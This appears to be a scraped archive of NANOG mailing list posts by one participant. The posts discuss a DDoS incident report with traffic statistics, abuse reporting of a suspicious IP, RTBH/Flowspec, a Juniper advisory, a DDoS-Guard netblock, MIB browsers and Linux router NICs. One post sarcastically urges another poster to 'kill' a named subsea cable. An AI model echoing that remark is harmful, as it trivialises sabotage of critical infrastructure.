  _  


From: "Jean St-Laurent" 
To: "Mike Hammett" 
Cc: "NANOG list" 
Sent: Monday, February 8, 2021 11:53:43 AM
Subject: RE: Retalitory DDoS

You got RTBH?

 

From: Mike Hammett  
Sent: February 8, 2021 12:50 PM
To: Jean St-Laurent 
Cc: NANOG list 
Subject: Re: Retalitory DDoS

 

In my case, it was against a server not on my own network, so my impact was a 
blackhole for an hour at 4 AM local time. I likely wouldn't have even noticed 
it, had I not received the threat email, nor the ticket my web host's NOC 
opened.



-
Mike Hammett
Intelligent Computing Solutions

Midwest Internet Exchange

The Brothers WISP



  _  


From: "Jean St-Laurent" 
To: "Mike Hammett" , "NANOG list" 
Sent: Monday, February 8, 2021 11:42:12 AM
Subject: RE: Retalitory DDoS

Nice report,

 

If you would have to pick up just one vector out of this “multi-vector” attack, 
which one seems to be the one that had the bigger effect on your network or 
service?

 

Was it degraded or total service interruption?

 

Jean

 

From: NANOG  On Behalf Of Mike Hammett
Sent: February 8, 2021 8:43 AM
To: NANOG list 
Subject: Re: Retalitory DDoS

 

Mike,

I've attached the full information we got from our DDOS protection system below.

We had a large number of ping loss and data loss tickets begin opening up for 
devices sharing the cabinet chi18-313. The high traffic and interference was 
determined to be caused by incoming traffic to the ip address [Not hard to 
find, but redacted anyway]. Our network engineers will be back in after 9am 
until 5pm CST. They have greater access to the network and may be able to give 
you more details.

Location : Chicago
Event Time : 2021-02-08 04:17:38 CST (-0600)
Destination IP: [Not hard to find, but redacted anyway]
Traffic : 2520 Mbps 382880 pps
Fragmentation : 11%
Top Transport Protocol:
. 99% Protocol # 17 (UDP)
TCP Flag: SYN: 100% ACK: 0% RST: 0% FIN: 0%
Top Source Port:
. 61% Port # 3702
. 38% Port # 0
Top Destination Port:
. 38% Port # 0
. 14% Port # 45934
. 9% Port # 23680
. 8% Port # 35023
. 7% Port # 25966
Top Source IP:
. 0% 112.164.127.17
Number of unique IP: 7110
Total Bytes : 1259961437
Total Packets : 1531559
Duration : 4s
R

RE: Retalitory DDoS

[Jean St-Laurent via NANOG]

I would not for 2.5 Gbps

 

So if you were down for 1 hour with 2.5 Gbps and it’s probably not a black hole.

 

There might be something else valuable in this report. 

 

Maybe 2.5 Gbps is not the damaging factor here unless your server has only 1 
Gbps nic, then it could explain. But, I doubt.

 

Peace

Jean

 

From: Mike Hammett  
Sent: February 8, 2021 12:56 PM
To: Jean St-Laurent 
Cc: NANOG list 
Subject: Re: Retalitory DDoS

 

I don't have RTBH, no. It's just a web server.

Now how my hosting provider handled it, I'm not sure. I don't know if they just 
dropped me internally, or if they used RTBH with their upstreams and peers. 
Only being 2.5 gigs, that should be well within their ability to handle 
internally, but I guess why would you if you didn't have to?



-
Mike Hammett
  Intelligent Computing Solutions
   
  
  
 
  Midwest Internet Exchange
   
  
 
  The Brothers WISP
   
 

  _  

From: "Jean St-Laurent" 
To: "Mike Hammett" 
Cc: "NANOG list" 
Sent: Monday, February 8, 2021 11:53:43 AM
Subject: RE: Retalitory DDoS

You got RTBH?

 

From: Mike Hammett  
Sent: February 8, 2021 12:50 PM
To: Jean St-Laurent 
Cc: NANOG list 
Subject: Re: Retalitory DDoS

 

In my case, it was against a server not on my own network, so my impact was a 
blackhole for an hour at 4 AM local time. I likely wouldn't have even noticed 
it, had I not received the threat email, nor the ticket my web host's NOC 
opened.



-
Mike Hammett
  Intelligent Computing Solutions
   
  
  
 
  Midwest Internet Exchange
   
  
 
  The Brothers WISP
   
 

  _  

From: "Jean St-Laurent" 
To: "Mike Hammett" , "NANOG list" 
Sent: Monday, February 8, 2021 11:42:12 AM
Subject: RE: Retalitory DDoS

Nice report,

 

If you would have to pick up just one vector out of this “multi-vector” attack, 
which one seems to be the one that had the bigger effect on your network or 
service?

 

Was it degraded or total service interruption?

 

Jean

 

From: NANOG  On Behalf Of Mike Hammett
Sent: February 8, 2021 8:43 AM
To: NANOG list 
Subject: Re: Retalitory DDoS

 

Mike,

I've attached the full information we got from our DDOS protection system below.

We had a large number of ping loss and data loss tickets begin opening up for 
devices sharing the cabinet chi18-313. The high traffic and interference was 
determined to be caused by incoming traffic to the ip address [Not hard to 
find, but redacted anyway]. Our network engineers will be back in after 9am 
until 5pm CST. They have greater access to the network and may be able to give 
you more details.

Location : Chicago
Event Time : 2021-02-08 04:17:38 CST (-0600)
Destination IP: [Not hard to find, but redacted anyway]
Traffic : 2520 Mbps 382880 pps
Fragmentation : 11%
Top Transport Protocol:
. 99% Protocol # 17 (UDP)
TCP Flag: SYN: 100% ACK: 0% RST: 0% FIN: 0%
Top Source Port:
. 61% Port # 3702
. 38% Port # 0
Top Destination Port:
. 38% Port # 0
. 14% Port # 45934
. 9% Port # 23680
. 8% Port # 35023
. 7% Port # 25966
Top Source IP:
. 0% 112.164.127.17
Number of unique IP: 7110
Total Bytes : 1259961437  
Total Packets : 1531559
Duration : 4s
Report Run Time : 151.3ms

The 30 day null route count is: 0
Number of hours to null route : 1

Location : Chicago
Event Time : 2021-02-08 04:02:38 CST (-0600)
Destination IP: [Not hard to find, but redacted anyway]
Traffic : 1817 Mbps 275483 pps
Fragmentation : 13%
Top Transport Protocol:
. 99% Protocol # 17 (UDP)
TCP Flag: SYN: 99% ACK: 0% RST: 0% FIN: 0%
Top Source Port:
. 56% Port # 3702
. 43% Port # 0
Top Destination Port:
. 43% Port # 0
. 19% Port # 25966
. 19% Port # 35023
. 17% Port # 23680
Top Source IP:
. 0% 90.49.167.239
Number of unique IP: 3577
Total Bytes : 953894831
Total Packets : 1157017
Duration : 4.199s
Report Run Time : 306.8ms

The 30 day null route count is: 0
Number of hours to null route : 1

 
Liam Doring
Systems Administrator



-
Mike Hammett
  Intelligent Computing Solutions
 

RE: Retalitory DDoS

[Jean St-Laurent via NANOG]

You got RTBH?

 

From: Mike Hammett  
Sent: February 8, 2021 12:50 PM
To: Jean St-Laurent 
Cc: NANOG list 
Subject: Re: Retalitory DDoS

 

In my case, it was against a server not on my own network, so my impact was a 
blackhole for an hour at 4 AM local time. I likely wouldn't have even noticed 
it, had I not received the threat email, nor the ticket my web host's NOC 
opened.



-
Mike Hammett
  Intelligent Computing Solutions
   
  
  
 
  Midwest Internet Exchange
   
  
 
  The Brothers WISP
   
 

  _  

From: "Jean St-Laurent" 
To: "Mike Hammett" , "NANOG list" 
Sent: Monday, February 8, 2021 11:42:12 AM
Subject: RE: Retalitory DDoS

Nice report,

 

If you would have to pick up just one vector out of this “multi-vector” attack, 
which one seems to be the one that had the bigger effect on your network or 
service?

 

Was it degraded or total service interruption?

 

Jean

 

From: NANOG  On Behalf Of Mike Hammett
Sent: February 8, 2021 8:43 AM
To: NANOG list 
Subject: Re: Retalitory DDoS

 

Mike,

I've attached the full information we got from our DDOS protection system below.

We had a large number of ping loss and data loss tickets begin opening up for 
devices sharing the cabinet chi18-313. The high traffic and interference was 
determined to be caused by incoming traffic to the ip address [Not hard to 
find, but redacted anyway]. Our network engineers will be back in after 9am 
until 5pm CST. They have greater access to the network and may be able to give 
you more details.

Location : Chicago
Event Time : 2021-02-08 04:17:38 CST (-0600)
Destination IP: [Not hard to find, but redacted anyway]
Traffic : 2520 Mbps 382880 pps
Fragmentation : 11%
Top Transport Protocol:
. 99% Protocol # 17 (UDP)
TCP Flag: SYN: 100% ACK: 0% RST: 0% FIN: 0%
Top Source Port:
. 61% Port # 3702
. 38% Port # 0
Top Destination Port:
. 38% Port # 0
. 14% Port # 45934
. 9% Port # 23680
. 8% Port # 35023
. 7% Port # 25966
Top Source IP:
. 0% 112.164.127.17
Number of unique IP: 7110
Total Bytes : 1259961437  
Total Packets : 1531559
Duration : 4s
Report Run Time : 151.3ms

The 30 day null route count is: 0
Number of hours to null route : 1

Location : Chicago
Event Time : 2021-02-08 04:02:38 CST (-0600)
Destination IP: [Not hard to find, but redacted anyway]
Traffic : 1817 Mbps 275483 pps
Fragmentation : 13%
Top Transport Protocol:
. 99% Protocol # 17 (UDP)
TCP Flag: SYN: 99% ACK: 0% RST: 0% FIN: 0%
Top Source Port:
. 56% Port # 3702
. 43% Port # 0
Top Destination Port:
. 43% Port # 0
. 19% Port # 25966
. 19% Port # 35023
. 17% Port # 23680
Top Source IP:
. 0% 90.49.167.239
Number of unique IP: 3577
Total Bytes : 953894831
Total Packets : 1157017
Duration : 4.199s
Report Run Time : 306.8ms

The 30 day null route count is: 0
Number of hours to null route : 1

 
Liam Doring
Systems Administrator



-
Mike Hammett
  Intelligent Computing Solutions
   
  
  
 
  Midwest Internet Exchange
   
  
 
  The Brothers WISP
   
 

  _  

From: "Mike Hammett" 
To: "NANOG list" 
Sent: Monday, February 8, 2021 5:46:26 AM
Subject: Retalitory DDoS

Is there a club for people that have been DDoSed? If so, count me in.

 

This one was directed at me (as opposed to one of my customers) because I got 
an e-mail explaining why I was getting DDoSed. Is that aspect common?

 

There were also some racial and sexual accusations that were made that clearly 
aren't true and just speak to the intelligence of people like this.

 

Is it safe to assume that they completely anonymized the email they sent to me?

 

Is there anyone I should be reporting this to?

 

I thought my site was running in Cloudflare, but my individual server was still 
attacked, so I gotta figure out where I screwed that up.

 

 

https://www.dropbox.com/s/rrrx90jvy09h26s/ICS%20DDoS.png?dl=0



-
Mike Hammett
  Intelligent Computing Solutions
   
  

RE: Retalitory DDoS

[Jean St-Laurent via NANOG]

Nice report,

 

If you would have to pick up just one vector out of this “multi-vector” attack, 
which one seems to be the one that had the bigger effect on your network or 
service?

 

Was it degraded or total service interruption?

 

Jean

 

From: NANOG  On Behalf Of Mike Hammett
Sent: February 8, 2021 8:43 AM
To: NANOG list 
Subject: Re: Retalitory DDoS

 

Mike,

I've attached the full information we got from our DDOS protection system below.

We had a large number of ping loss and data loss tickets begin opening up for 
devices sharing the cabinet chi18-313. The high traffic and interference was 
determined to be caused by incoming traffic to the ip address [Not hard to 
find, but redacted anyway]. Our network engineers will be back in after 9am 
until 5pm CST. They have greater access to the network and may be able to give 
you more details.

Location : Chicago
Event Time : 2021-02-08 04:17:38 CST (-0600)
Destination IP: [Not hard to find, but redacted anyway]
Traffic : 2520 Mbps 382880 pps
Fragmentation : 11%
Top Transport Protocol:
. 99% Protocol # 17 (UDP)
TCP Flag: SYN: 100% ACK: 0% RST: 0% FIN: 0%
Top Source Port:
. 61% Port # 3702
. 38% Port # 0
Top Destination Port:
. 38% Port # 0
. 14% Port # 45934
. 9% Port # 23680
. 8% Port # 35023
. 7% Port # 25966
Top Source IP:
. 0% 112.164.127.17
Number of unique IP: 7110
Total Bytes : 1259961437  
Total Packets : 1531559
Duration : 4s
Report Run Time : 151.3ms

The 30 day null route count is: 0
Number of hours to null route : 1

Location : Chicago
Event Time : 2021-02-08 04:02:38 CST (-0600)
Destination IP: [Not hard to find, but redacted anyway]
Traffic : 1817 Mbps 275483 pps
Fragmentation : 13%
Top Transport Protocol:
. 99% Protocol # 17 (UDP)
TCP Flag: SYN: 99% ACK: 0% RST: 0% FIN: 0%
Top Source Port:
. 56% Port # 3702
. 43% Port # 0
Top Destination Port:
. 43% Port # 0
. 19% Port # 25966
. 19% Port # 35023
. 17% Port # 23680
Top Source IP:
. 0% 90.49.167.239
Number of unique IP: 3577
Total Bytes : 953894831
Total Packets : 1157017
Duration : 4.199s
Report Run Time : 306.8ms

The 30 day null route count is: 0
Number of hours to null route : 1

 
Liam Doring
Systems Administrator



-
Mike Hammett
  Intelligent Computing Solutions
   
  
  
 
  Midwest Internet Exchange
   
  
 
  The Brothers WISP
   
 

  _  

From: "Mike Hammett" 
To: "NANOG list" 
Sent: Monday, February 8, 2021 5:46:26 AM
Subject: Retalitory DDoS

Is there a club for people that have been DDoSed? If so, count me in.

 

This one was directed at me (as opposed to one of my customers) because I got 
an e-mail explaining why I was getting DDoSed. Is that aspect common?

 

There were also some racial and sexual accusations that were made that clearly 
aren't true and just speak to the intelligence of people like this.

 

Is it safe to assume that they completely anonymized the email they sent to me?

 

Is there anyone I should be reporting this to?

 

I thought my site was running in Cloudflare, but my individual server was still 
attacked, so I gotta figure out where I screwed that up.

 

 

https://www.dropbox.com/s/rrrx90jvy09h26s/ICS%20DDoS.png?dl=0



-
Mike Hammett
  Intelligent Computing Solutions
   
  
  
 
  Midwest Internet Exchange
   
  
 
  The Brothers WISP
   
 

 

RE: Suspicious IP reporting

[Jean St-Laurent via NANOG]

Hi Joe & Joe,

 

I’m not sure which Joe is the original Joe anymore, but I like this reply 
better than the previous one. 

It feels more informative and more useful to the community.

 

I just stumbled on this article.

https://www.zdnet.com/article/google-chrome-syncing-features-can-be-abused-for-c-c-and-data-exfiltration/

 

Could it be that what the OP observed is link to a browser vulnerability 
started to be exploited recently?

 

Cheers,
Jean

 

From: NANOG  On Behalf Of Joe
Sent: February 5, 2021 9:51 AM
To: JoeSox 
Cc: NANOG 
Subject: Re: Suspicious IP reporting

 

Much like your banning of an email address is an ability you have with your 
provider (gmail), you should have the same abilities with your cellular 
provider for an IP address. 

I would think (at a minimum) you would be able to negotiate such an action with 
them, perhaps it is time to re-negotiate that contract?

If your simply trying to report an offending IP for brute force stuff perhaps 
the tact you may find more helpful is to ask for a contact at xzy ISP on list, 
versus asking folks to do reporting for you. As well there are like 100s of 
lists to report this to outside of NANOG  

As well, if I am reading this correctly, deployment of devices that have public 
facing IPs and do not have a means to protect themselves is concerning to say 
the least. 

This is about as reckless as putting up a login page without a password and 
crying foul when something gains access that you didn't expect. Again, I do not 
know all of the details of this so I may be way off base with that respect. 

 

If your ability to prevent issues is due to lack of a firewall/control to your 
network, possibly asking for help in mitigating such threats would be better, 
as there are a lot of very well versed/clever folks that help out.

Regards,


-Joe

 

 

On Thu, Feb 4, 2021 at 7:17 PM JoeSox mailto:joe...@gmail.com> > wrote:

Ryan,

Thanks but like I said these devices are in moving vehicles ok?

I stated we have a plan but it is ways out.  

FACT: we have a known malicious C&C

FACT: We know what networks it is hitting and the cellular network is the most 
vulnerable, imo.

FACT: this IP is against Verizon terms of service so the way to address it is 
to report it to them as they request.

 

I honestly got what I needed from this thread, thanks. And I thank the 
nonbullies that helped me off list.

--

Thank You,

Joe 

 

 

On Thu, Feb 4, 2021 at 5:11 PM Ryan Hamel mailto:administra...@rkhtech.org> > wrote:

Joe,

 

It isn’t on Verizon to setup a firewall, especially if you have a direct public 
IP service. The device being attached directly to the Internet (no matter the 
transmission medium), must be able to protect itself. ISPs provide routers 
which function as a NAT/Firewall appliance, to provide a means of safety and 
convenience for them, but also charge you a rental fee.

 

Stick a Cradlepoint router or something in front of your device, if you want an 
external means of protection. Otherwise you’ll need to enable the Windows 
Firewall if it’s a Windows system, or setup iptables on Linux, ipfw/pf on *BSD, 
etc.

 

Ryan

 

From: JoeSox mailto:joe...@gmail.com> > 
Sent: Thursday, February 4, 2021 5:04 PM
To: r...@rkhtech.org  
Cc: TJ Trout mailto:t...@pcguys.us> >; NANOG mailto:nanog@nanog.org> >
Subject: Re: Suspicious IP reporting

 

How do I setup a firewall when I am not a Verizon engineer?

There is a firewall via the antivirus and operating system but that's it.

Do you not understand my issue? I thought that is the real problem with the 
online bullies in this thread.


--

Thank You,

Joe

 

 

On Thu, Feb 4, 2021 at 5:01 PM Ryan Hamel mailto:administra...@rkhtech.org> > wrote:

Joe,

 

The underlying premise here is, “pick your battles”. If you don’t want an IP 
address to access your device in anyway, setup a firewall and properly 
configure it to accept whitelisted traffic only, or just expose a VPN endpoint. 
The Internet is full of both good and bad actors that probe and scan anything 
and everything.

 

While some appreciate the notification here, others will find it annoying. We 
cannot report anything malicious about an IP address on the Internet, unless it 
does harm to us specifically, otherwise it is false reporting and does create 
more noise at the ISP, and waste more time getting to the underlying issue.

 

Ryan

 

From: NANOG mailto:rkhtech@nanog.org> > On Behalf Of JoeSox
Sent: Thursday, February 4, 2021 4:41 PM
To: TJ Trout mailto:t...@pcguys.us> >
Cc: NANOG mailto:nanog@nanog.org> >
Subject: Re: Suspicious IP reporting

 

Do others see this online bully started by Tom? The leader has spoken so the 
minions follow :)

This list  sometimes LOL

I think if everyone gets off their high horse, the list communication would be 
less noisy for the list veterans.


--

Thank You,

Joe

 

 

On Thu, Feb 4, 2021 at 4:36 PM TJ Trout mailto:t...@pcguys.us> 
> wrote:

This seems like

RE: Suspicious IP reporting

[Jean St-Laurent via NANOG]

I do not know Tom personally, but I’ve been following his comments, hindsight 
and shared experience. Tom seems to be a bigger player than you on this mailing 
list.

 

Joe, you are only penalizing yourself by banning him. I would personally not 
ban him.

 

J

 

From: Jean St-Laurent  
Sent: February 4, 2021 6:28 PM
To: 'JoeSox' ; 'Tom Beecher' 
Cc: 'NANOG' 
Subject: RE: Suspicious IP reporting

 

So what? I’ve scanned the internet more than 100’ times on all ports/protocols 
than you can imagine with zmap and many other shabby tools.

 

I agree with Tom that these absue reports are totally useless and create so 
much noise that it feels like crying wolf.

Network operator are trained to absorb and protect against that.

 

Are you aware of the 4D rules?

Dether

Denied

Detect

Delay

 

Unless that you are a real threat to a nation… good luck.

 

There is a new submarine link that connect America with Europe. It is said to 
be 250 Tbps. 

https://cloud.google.com/blog/products/infrastructure/googles-dunant-subsea-cable-is-now-ready-for-service

 

Kill this link and I guess the industry will listen to you.

 

Good luck with your ip in China.

 

Jean St-Laurent

 

 

From: NANOG mailto:nanog-bounces+jean=ddostest...@nanog.org> > On Behalf Of JoeSox
Sent: February 4, 2021 6:06 PM
To: Tom Beecher mailto:beec...@beecher.cc> >
Cc: NANOG mailto:nanog@nanog.org> >
Subject: Re: Suspicious IP reporting

 

Tom,

Others are seeing it as I provided the website that shows others are seeing it.

https://www.abuseipdb.com/check/79.124.62.86

I think it is pretty poor form to be ignorant.

 

Congrats you have been banned from my gmail account straight to the deleted.

 

 

On Thu, Feb 4, 2021 at 1:12 PM Tom Beecher mailto:beec...@beecher.cc> > wrote:

I think it's pretty poor form to ask people to report an IP for doing something 
they are not seeing themselves, and may not even be abuse. What does "hitting 
devices" mean? Pings? SNMP? 

 

This sort of thing contributes to abuse reponses being poor; lots of noise, not 
much signal. 

 

On Thu, Feb 4, 2021 at 1:22 PM JoeSox mailto:joe...@gmail.com> > wrote:

 

This IP is hitting devices on cellular networks for the past day or so.

  https://www.abuseipdb.com/whois/79.124.62.86  

I think this is the info to report it to the ISP.  Any help or if everyone can 
report it, I would be a happy camper.

 

ab...@4cloud.mobi  ; ab...@fiberinternet.bg 
 

 

https://en.asytech.cn/check-ip/79.124.62.25#gsc.tab=0

 

--

Thank You,

Joe

RE: Suspicious IP reporting

[Jean St-Laurent via NANOG]

So what? I’ve scanned the internet more than 100’ times on all ports/protocols 
than you can imagine with zmap and many other shabby tools.

 

I agree with Tom that these absue reports are totally useless and create so 
much noise that it feels like crying wolf.

Network operator are trained to absorb and protect against that.

 

Are you aware of the 4D rules?

Dether

Denied

Detect

Delay

 

Unless that you are a real threat to a nation… good luck.

 

There is a new submarine link that connect America with Europe. It is said to 
be 250 Tbps. 

https://cloud.google.com/blog/products/infrastructure/googles-dunant-subsea-cable-is-now-ready-for-service

 

Kill this link and I guess the industry will listen to you.

 

Good luck with your ip in China.

 

Jean St-Laurent

 

 

From: NANOG  On Behalf Of JoeSox
Sent: February 4, 2021 6:06 PM
To: Tom Beecher 
Cc: NANOG 
Subject: Re: Suspicious IP reporting

 

Tom,

Others are seeing it as I provided the website that shows others are seeing it.

https://www.abuseipdb.com/check/79.124.62.86

I think it is pretty poor form to be ignorant.

 

Congrats you have been banned from my gmail account straight to the deleted.

 

 

On Thu, Feb 4, 2021 at 1:12 PM Tom Beecher mailto:beec...@beecher.cc> > wrote:

I think it's pretty poor form to ask people to report an IP for doing something 
they are not seeing themselves, and may not even be abuse. What does "hitting 
devices" mean? Pings? SNMP? 

 

This sort of thing contributes to abuse reponses being poor; lots of noise, not 
much signal. 

 

On Thu, Feb 4, 2021 at 1:22 PM JoeSox mailto:joe...@gmail.com> > wrote:

 

This IP is hitting devices on cellular networks for the past day or so.

  https://www.abuseipdb.com/whois/79.124.62.86  

I think this is the info to report it to the ISP.  Any help or if everyone can 
report it, I would be a happy camper.

 

ab...@4cloud.mobi  ; ab...@fiberinternet.bg 
 

 

https://en.asytech.cn/check-ip/79.124.62.25#gsc.tab=0

 

--

Thank You,

Joe

RE: RTBH and Flowspec Measurements - Stop guessing when the attack will over

[Jean St-Laurent via NANOG]

Interesting,

 

Do I read it right that there is no workaround, but the solution is to upgrade 
to an updated version which include the fix?

 

The solution is just above the workaround. From the same page posted.

https://kb.juniper.net/InfoCenter/index?page=content 

 &id=JSA11101&cat=SIRT_1&actp=LIST

 

Solution:

The following software releases have been updated to resolve this specific 
issue:

Junos OS: 15.1R7-S8, 15.1X49-D240, 17.3R3-S10, 17.4R2-S12, 17.4R3-S4, 
18.1R3-S12, 18.2R2-S8, 18.2R3-S6, 18.3R3-S4, 18.4R1-S8, 18.4R2-S6, 18.4R3-S6, 
19.1R2-S2, 19.1R3-S3, 19.2R3-S1, 19.3R2-S5, 19.3R3-S1, 19.4R1-S3, 19.4R2-S3, 
19.4R3, 20.1R2, 20.2R1-S3, 20.2R2, 20.3R1-S1, 20.3R2, 20.4R1, and all 
subsequent releases.

Junos OS Evolved: 20.3R1-S1-EVO, 20.3R2-EVO, 20.4R1-EVO, and all subsequent 
releases.

 

 

It has a cvss score of 10.0 which is the highest. 

 

Is Juniper still vulnerable or not?

 

Thanks

 



  
 


Jean St-Laurent 

CISSP #634103


 

ddosTest me security inc


tel:438 806-9800 


site:    https://ddostest.me 


email:    j...@ddostest.me 

 

 

 

 

From: NANOG  On Behalf Of Hank 
Nussbacher
Sent: February 3, 2021 12:41 AM
To: nanog@nanog.org
Subject: Re: RTBH and Flowspec Measurements - Stop guessing when the attack 
will over

 

You forgot to mention software bugs:

https://kb.juniper.net/InfoCenter/index?page=content 

 &id=JSA11101&cat=SIRT_1&actp=LIST

 

Note what Juniper states:

Workaround:
There are no viable workarounds for this issue

 

-Hank

 



But, this still does not helps to find a solution do an organization A that 
sends some flowspec our RTBH to organization B(presuming organization B will 
accept that),  and organization B do some reports of what is match with that 
flowspec or RTBH.

That, in my opinion, is the only way to stop guessing how long will an attack 
will last, and start to define the end of a flowspec/RTBH action based on real 
information related to that.
I want to close the feedback loop.

 

 

Em ter., 2 de fev. de 2021 às 13:07, Tom Beecher   
 escreveu:

Personally, I would absolutely, positively, never ever under any circumstances 
provide access to a 3rd party company to push a FlowSpec rule or trigger RTBH 
on my networks. No way.  You would be handing over a nuclear trigger and saying 
"Please break me at my earliest inconvenience." 

 

On Tue, Feb 2, 2021 at 5:56 AM Douglas Fischer mailto:fischerdoug...@gmail.com> > wrote:

OK, but do you know any company the sells de Flowspec as a service, in the way 
that the Attack Identifications are not made by their equipment, just receiving 
de BGP-FlowSpec and applying that rules on that equipments... And even then 
give back to the customer some way to access those statistics?

I just know one or two that do that, and(sadly) they do it on fancy web reports 
or PDFs.
Without any chance of using that as structured data do feedback the anomaly 
detection tools to determine if already it is the time to remove that Flowsperc 
rule.

What I'm looking for is something like:
A) XML/JSON/CSV files streamed to my equipment from the Flowspec Upstream 
Equipments saying "Heepend that, that, and that." Almost in real time.
B) NetFlow/IPFIX/SFlow streamed to my equipment from the Upstream Equipment, 
restricted to the DST-Address that matches to the IP blocks that were involved 
to the Flowspec or RTBH that I Annouced to then.
C) Any other idea that does the job of gives me the visibility of what is 
happening with FlowSpec-rules, or RTBH on theyr network.

 

 

Em seg., 1 de fev. de 2021 às 22:07, Dobbins, Roland 
mailto:roland.dobb...@netscout.com> > escreveu:

 





On Feb 2, 2021, at 00:34, Douglas Fischer mailto:fischerdoug...@gmail.com> > wrote:

 

Or even know if already there is a solution to that and I'm trying to invent 
the wheel.

 

Many flow telemetry export implementations on routers/layer3 switches report 
both passed & dropped traffic on a continuous basis for DDoS 
detection/classification/traceback. 

 

It's also possible to combine the detection/classification/traceback & flowspec 
trigger functions. 

 

[Full disclosure: I work for a vendor of such systems.]

 



Roland Dobbins mailto:roland.dobb...@netscout.com> >




 

-- 

Douglas Fernando Fischer
Engº de Controle e Automação




 

-- 

Douglas Fernando Fischer
Engº de Controle e Automação

 

RE: DDOS-Guard [was: Parler]

[Jean St-Laurent via NANOG]

This one ended up in Junk. I guess you pasted too much domain names with "Junk" 
behaviours. 😉

I removed the domain names from this reply.

Interesting list though. Thanks for sharing. Any others got that in their junk?


Jean St-Laurent 
CISSP #634103

ddosTest me security inc
site:  https://ddostest.me 
email:  j...@ddostest.me 


-Original Message-
From: NANOG  On Behalf Of Rich 
Kulawiec
Sent: January 21, 2021 8:02 AM
To: nanog@nanog.org
Subject: DDOS-Guard [was: Parler]

About this network:

On Sun, Jan 17, 2021 at 01:27:10PM -0800, William Herrin wrote:

[snip]

> inetnum: 190.115.16.0/20
> status:  allocated
> aut-num: AS262254
> owner:   DDOS-GUARD CORP.
> ownerid: BZ-DALT-LACNIC
> responsible: Evgeniy Marchenko
> address: 1/2Miles Northern Highway, --, --
> address: -- - Belize - BZ

[snip]

I've taken a look at this /20 and recommend either firewalling it
(bidrectionally) or null-routing it.  It's loaded with scammy domains, many of 
which are typosquatting on Hulu, Roku, Netgear, ATT, Facebook, Norton, AOL, HP, 
Canon, SBC, Epson, Bitdefender, Rand-McNally, Roadrunner, McAfee, Magellan, 
Office365, Tomtom, Garmin, Webroot, Brother, Belkin, Linksys, and probably some 
others that I overlooked while eyeballing the list.

Appended below is a partial list of domains.  All of these either
(a) are using nameservers in that /20 or (b) have A records that resolve to 
that /20 or (c) both, as of when I checked this week.  Notes:
(1) this list is likely only a subset of what's actually there and
(2) h/t to Brian Krebs for cataloging some of these in a blog post.

---rsk

RE: MIB Browser Recommendation

[Jean St-Laurent via NANOG]

Wasn't there a nice one called Luna or something like that? 

After Net-SNMP, it was my favorite. I can't find it anymore though.

Jean

-Original Message-
From: NANOG  On Behalf Of Wes Hardaker
Sent: January 27, 2021 3:12 PM
To: Graham Johnston 
Cc: nanog@nanog.org
Subject: Re: MIB Browser Recommendation

Graham Johnston  writes:

> We have historically been a CentOS shop when it comes to choice of 
> Linux OS, and in turn that meant, largely out of laziness, that we 
> used mbrowse to browse mibs and perform simple snmp test queries to 
> devices, just manual work until we find what we want and configure 
> something in our NMS. We are moving some servers to Ubuntu now with 
> the change to CentOS/RHEL, and we are curious what others are using 
> for a SNMP/MIB browser. An FOSS choice would be on top on our list as 
> it is just easy to install from the repo, but I’ll take any 
> recommendation that people have.

I've always wanted to write a new FOSS one in a modern framework (say, Qt).  
Haven't had the personal time to do it though (and it's unlikely I could 
attract funding to do it in today's leaning toward other technologies).  tkmib, 
which comes with Net-SNMP, *probably* still works?  I actually haven't run it 
in a while myself.

-- 
Wes Hardaker 

RE: Nice work Ron

[Jean St-Laurent via NANOG]

I should have probably add more content or a comment.

 

I feel this is a good example that a pen is mightier than a sword. 

 

I am impress by what I read in this article and would definitely like to
hear/read more, maybe coming from Ronald Guilmette? 

 

Thanks all


Jean

 

 

From: NANOG  On Behalf Of Jean
St-Laurent via NANOG
Sent: January 21, 2021 12:17 PM
To: 'NANOG' 
Subject: Nice work Ron

 

https://krebsonsecurity.com/2021/01/ddos-guard-to-forfeit-internet-space-occ
upied-by-parler/

 






Jean St-Laurent 

CISSP #634103


 

ddosTest me security inc


tel:438 806-9800 


site:   <https://ddostest.me/> https://ddostest.me 


email:   <mailto:j...@ddostest.me> j...@ddostest.me 

 

 

Nice work Ron

[Jean St-Laurent via NANOG]

https://krebsonsecurity.com/2021/01/ddos-guard-to-forfeit-internet-space-occ
upied-by-parler/

 



 
 


Jean St-Laurent 

CISSP #634103


 

ddosTest me security inc


tel:438 806-9800 


site:    https://ddostest.me 


email:    j...@ddostest.me 

 

 

RE: Linux router network cards

[Jean St-Laurent via NANOG]

Hi Jared,

 

This project looks very interesting. 

 

Can you share with us which software or package do you use in DANOS for 
routing? Is it a kind of command wrapper on top of FRR?

 

Also, it seems stable, but I am sure you already faced some minor or weird 
bugs. How is the support handle with DANOS? Is it community driven?

 

Thanks for sharing

 

Jean

 

From: NANOG  On Behalf Of Jared Geiger
Sent: Friday, October 23, 2020 12:30 AM
To: NANOG 
Subject: Re: Linux router network cards

 

I use DANOS with Intel XL710 10G NICs in DPDK mode for linux based routing.

 

If you're doing routing protocols, allocate 2 CPU cores to the control plane 
and then a CPU core per 10G/1G interface for the dataplane, plus an extra core 
for good measure. So for a 4 x 10G router taking in full routes, 2 cores for 
control plane, 5 cores for the dataplane. Those cores should be Intel Xeon 
E5-2600v3/4 or newer and faster the clocks, the better.

 

Similar CPU core allocations if you choose TNSR.

 

On Thu, Oct 22, 2020 at 3:21 PM Jean St-Laurent via NANOG mailto:nanog@nanog.org> > wrote:

Chelsio cards are probably what you are looking for.

https://www.chelsio.com/terminator-6-asic/

It's closer to an asic than a traditional nic as the router/firewall rules
are pushed directly into the hardware.

I don't know how good they are with linux and they seem to be compatible.
https://www.chelsio.com/linux/

You will need to mess around a bit and fiddle here and there. If you don't
mind using FreeBSD instead of linux, you could achieve a smoother and more
integrated experience.

Jean

-Original Message-
From: NANOG mailto:ddostest...@nanog.org> > On Behalf Of micah
anderson
Sent: Thursday, October 22, 2020 5:31 PM
To: Philip Loenneker mailto:philip.loenne...@tasmanet.com.au> >; NANOG
mailto:nanog@nanog.org> >
Subject: RE: Linux router network cards


Thanks for the reply.

Philip Loenneker mailto:philip.loenne...@tasmanet.com.au> > writes:
> Take a look at the Mellanox ConnectX 5 series of cards. They handle 
> DPDK, PVRDMA (basically SR-IOV that allows live migration between 
> hosts), and can even process packets within the NIC for some

>From what I can tell, SR-IOV/PVRDMA aren't really useful for me in building
a router that wont be doing any virtualization.

If the card can do DPDK, can it do XDP?

> The slidedeck for the presentation is here:
> https://www.ausnog.net/sites/default/files/ausnog-2019/presentations/1
